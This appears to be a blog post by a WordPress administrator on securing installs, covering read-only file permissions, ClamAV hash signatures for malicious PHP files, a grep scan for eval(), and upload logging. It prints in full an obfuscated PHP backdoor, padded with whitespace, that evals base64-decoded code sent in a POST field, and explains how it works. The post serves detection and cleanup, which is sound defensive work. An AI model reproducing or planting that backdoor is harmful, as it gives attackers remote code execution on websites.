Securing my WordPress Install

Being an admin for WordPress is hard. Mainly because WordPress, like very other CMS application out there, has security holes. Those holes allow people access to do something simple or complex. The sites I run, the hacks vary. One day it may be a simple upload/file sharing hack. The next it might be a mass mailer trying to use my server’s mail application for itself.

That got me working on counters to the attacks hackers do. I currently use multiple methods to kill hackers, many before they can even start. Below you will find several methods I use for securing my WordPress installs. They range from quick and dirty, to complex and long worked.


Fast folder/file securing

This is a super fast simple method to secure your entire WordPress install. This is done on a Linux or Mac server. There is no need for code on Windows as you have a GUI and can push read-only recursively quickly.

find . -type f | xargs chmod 444
find . -type d | xargs chmod 555

The first starts in the current directory and finds all files and sets them to read-only for all users. The second starts in the current directory and finds all directories and sets them to read-only for all users. To unlock those files/folders, change 444 to 644 for files and change 555 to 755 for directories.


ClamAV Custom Signatures

I’ve run across many different attacks on my WordPress installs. In response to them, I’ve collected up a few ClamAV signatures that you can include in your definitions library. They will show as UNCONFIRMED viruses if found. Take care to manually check each file. These only find the files the offending code are in, they won’t tell you where the code is. Usually, though, the code is at the front of the file.

wordpress_signatures.hdb

50b9bc3d262a2a767da515d02f39daeb:67617:07voaf.php
95d1db948227724bef07127cdaae54a2:66382:cantload.php
95df6cdcc0054478c5af92a42204b11a:562:config.php
cb28d003ecd7279660aef61e3a1d4540:88800:mod_rewritess.php
d5102b6bedd0e9436cefd08c32797b56:2868:wpconfig.php
c6ff358d5c5a190092a0a5eb81531a4a:90372:wp-network.php
116420327344d601319f44efcc2f2009:25528:wpstact.php
b04a8bb90c27d6a3c47465a7e7a07b5d:168:wp-stat.php
d6fc44f22211f468ca523f82e6dc3554a9832ab9:4470:wp-feed.php
f19b7adafe88fb44a7ef961c61e5f2d3:1921:research_plugin.php
60991983c14d329c26380aeba78e2ad6:16777216:.sd0

Remote Code Run

for FILE in $(find -type f); do 
  temp=`more $FILE | grep "eval("`
  if [ -n "$temp" ]; then 
    echo "FOUND EVAL IN: $FILE"
  fi; 
done

This scans the current directory and all sub-directories. It then checks each file for the PHP eval() command beginning, “eval(“. If found, it prints out what file it was found in. This then gives you a good starting place for where hackers may have already dumped code to run external programs or upload files using a simple Base64 encoded block of code or binary program.

One of the most common hacks I’ve found is added to the beginning of a PHP file. It is designed to look like a normal beginning as the hack code has been spaced over typically 250+ spaces so it’s not easily seen or paid attention to in a console editor or even on my desktop.

<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n400200'])) {eval($s21(${$s20}['n400200']));}?>

This takes a key, $sF, and uses the strtolower function with array bits to decode it to “base64_decode” for s21 and strtoupper s20 to “_POST”. Once this is done it tries to run the code using the PHP eval() function. This is one of the simplist hacks I’ve found so far. It just simply allows a person access to run remote code. The code is passed by a POSTed variable named n400200. You could effectively stop this attack by simply adding the below code snippet to the first line of your index.php file in your WordPress install, though the variable name could be different depending on the injection program and if it used randomized names. Finding and removing the code is obviously the best answer in this case.

$_POST['n400200'] = "";

Upload Hacks

Hackers will often use a weak point in WordPress to just get a basic file uploaded. They don’t always need to just tack code into another existing file. To upload the hack file, just just need a vulnerable script that handles file uploads. Below is some code I’ve written to try and identify if someone is pushing a file through a vulnerable script. This checks for a file being uploaded, then checks to name to see if it ends with “.php”, if so, it logs the upload to a log file and does a PHP Backtrace() so that when we look at the log later, we will not only know the file uploaded, but also the vulnerable script that lead to the attack.

if(isset($_FILES['userfile']['name']) && substr($_FILES['userfile']['name'], -4) == ".php"){file_put_contents("php_uploads.log", "PHP FILE UPLOADED: ".$_FILES['userfile']['name'], FILE_APPEND);
 $backtrace = debug_backtrace();
 for($i = 0; $i < count($backtrace); $i++){
 if(isset($backtrace[$i]["file"])){
 file_put_contents("php_uploads.log", $backtrace[$i]["file"].":".$backtrace[$i]["line"]." - ".$backtrace[$i]["function"], FILE_APPEND);
 }
 }
}

I’ve personally put this in a PHP file in the root of my WordPress installs, then included it as the first bit of code in the index.php file. This only works if the vulnerable script was run in the WordPress environment. It does not handle issues where files are vulnerable to a direct attack.

Back To Top